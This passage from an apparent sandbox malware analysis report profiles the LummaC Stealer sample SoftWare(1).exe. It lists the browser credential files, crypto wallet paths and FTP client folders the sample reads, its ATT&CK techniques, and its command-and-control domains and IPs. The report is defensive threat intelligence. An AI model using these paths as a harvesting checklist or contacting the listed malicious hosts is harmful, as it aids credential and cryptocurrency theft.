Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: 00000002.00000002.982560381.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6604, type: MEMORYSTR
Source: Yara match	File source: 2.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.981681584.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	311 Process Injection	LSASS Memory	221 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	31 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	4 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SoftWare(1).exe	32%	Virustotal		Browse
SoftWare(1).exe	28%	ReversingLabs	Win64.Malware.Generic

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://clarmodq.top/d	100%	Avira URL Cloud	malware
jawdedmirror.run/ewqd	0%	Avira URL Cloud	safe
nighetwhisper.top/lekd	0%	Avira URL Cloud	safe
lonfgshadow.live/xawi	0%	Avira URL Cloud	safe
owlflright.digital/qopy	0%	Avira URL Cloud	safe
https://clarmodq.top:443/qoxocal	100%	Avira URL Cloud	malware
https://clarmodq.top/dF	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
clarmodq.top	104.21.85.126	true	false	high
edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.48.23	true	false	high
pki-goog.l.google.com	74.125.21.94	true	false	high
c.pki.goog	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://clarmodq.top/qoxo	false		high
owlflright.digital/qopy	true	Avira URL Cloud: safe	unknown
liftally.top/xasj	false		high
jawdedmirror.run/ewqd	true	Avira URL Cloud: safe	unknown
nighetwhisper.top/lekd	true	Avira URL Cloud: safe	unknown
salaccgfa.top/gsooz	false		high
clarmodq.top/qoxo	false		high
lonfgshadow.live/xawi	true	Avira URL Cloud: safe	unknown
http://c.pki.goog/r/gsr1.crl	false		high
http://c.pki.goog/r/r4.crl	false		high
changeaie.top/geps	false		high
zestmodp.top/zeda	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://clarmodq.top/	MSBuild.exe, 00000002.00000002.982179468.0000000000A2C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://clarmodq.top:443/qoxocal	MSBuild.exe, 00000002.00000002.981959800.00000000009A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://clarmodq.top/d	MSBuild.exe, 00000002.00000002.982179468.0000000000A2C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://clarmodq.top/dF	MSBuild.exe, 00000002.00000002.982179468.0000000000A2C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.85.126	clarmodq.top	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1663607
Start date and time:	2025-04-12 01:46:13 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SoftWare(1).exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/1@3/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 75% Number of executed functions: 45 Number of non-executed functions: 149
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, sppsvc.exe, SIHClient.exe, SgrmBroker.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 217.20.48.23, 13.95.31.18, 20.242.39.171, 23.76.34.6
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:47:14	API Interceptor	7x Sleep call for process: MSBuild.exe modified
19:48:51	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.85.126	random.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse
	random.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse
	random.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse
	random.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse
	random.exe	Get hash	malicious	Amadey, CryptOne, LummaC Stealer	Browse
	random.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse
	random.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse
	random.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse
	random.exe	Get hash	malicious	Amadey, AsyncRAT, CryptOne, DarkTortilla, LummaC Stealer, SmokeLoader	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	launch3r-v2.2.2.exe	Get hash	malicious	LummaC Stealer	Browse	217.20.55.34
	SecuriteInfo.com.Trojan.Heur.TP.RuW@bOo3uBfc.2836.5163.exe	Get hash	malicious	LummaC Stealer	Browse	217.20.55.22
	SecuriteInfo.com.Win32.MalwareX-gen.12458.14123.exe	Get hash	malicious	LummaC Stealer	Browse	217.20.48.39
	4nsy2bvYRk.exe	Get hash	malicious	ScreenConnect Tool	Browse	217.20.48.19
	Quotation.xla.xlsx	Get hash	malicious	Unknown	Browse	208.89.73.27
	Quotation.xla.xlsx	Get hash	malicious	Unknown	Browse	208.89.73.21
	Quotation.xla.xlsx	Get hash	malicious	Unknown	Browse	208.89.73.19
	sPDwT5Hyb5.exe	Get hash	malicious	LummaC Stealer	Browse	208.89.73.31
	final-payload.bin.exe	Get hash	malicious	Unknown	Browse	208.89.73.17
	oboaK5q9JH.dll	Get hash	malicious	Metasploit	Browse	208.89.73.25
clarmodq.top	Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.205.184
	kuly.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.205.184
	random.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	172.67.205.184
	random.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	104.21.85.126
	random.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	104.21.85.126
	random.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	104.21.85.126
	random.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	104.21.85.126
	random.exe	Get hash	malicious	Amadey, CryptOne, LummaC Stealer	Browse	104.21.85.126
	random.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	104.21.85.126
	random.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	172.67.205.184
pki-goog.l.google.com	Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	173.194.219.94
	launch3r-v2.2.2.exe	Get hash	malicious	LummaC Stealer	Browse	142.250.9.94
	SecuriteInfo.com.Win32.MalwareX-gen.26952.14499.exe	Get hash	malicious	Unknown	Browse	74.125.136.94
	SecuriteInfo.com.Win32.MalwareX-gen.29703.7480.exe	Get hash	malicious	Unknown	Browse	173.194.219.94
	https://serverlink2.voicenoteserver.com/b2104997593043ed9e6804085b8d628e/?	Get hash	malicious	HTMLPhisher	Browse	172.217.215.94
	http://cliffordchance.life	Get hash	malicious	Unknown	Browse	108.177.122.94
	Potassium.exe	Get hash	malicious	Unknown	Browse	142.250.9.94
	66e7fc6131f5ccda47ce44ce_kudifosefozo.pdf	Get hash	malicious	Unknown	Browse	172.253.124.94
	9lBc54z9La.exe	Get hash	malicious	AsyncRAT	Browse	173.194.219.94
	G0T0ne SMS-Setup.exe	Get hash	malicious	Unknown	Browse	142.251.40.99

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.205.184
	launch3r-v2.2.2.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.22.10
	https://www.canva.com/design/DAGkPkwDgSg/u9VDlBP5gFpCWakWq8SpPQ/view?utm_content=DAGkPkwDgSg&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=hc42c7e8522	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	172.67.74.152
	libcef.dll	Get hash	malicious	Latrodectus	Browse	104.21.80.1
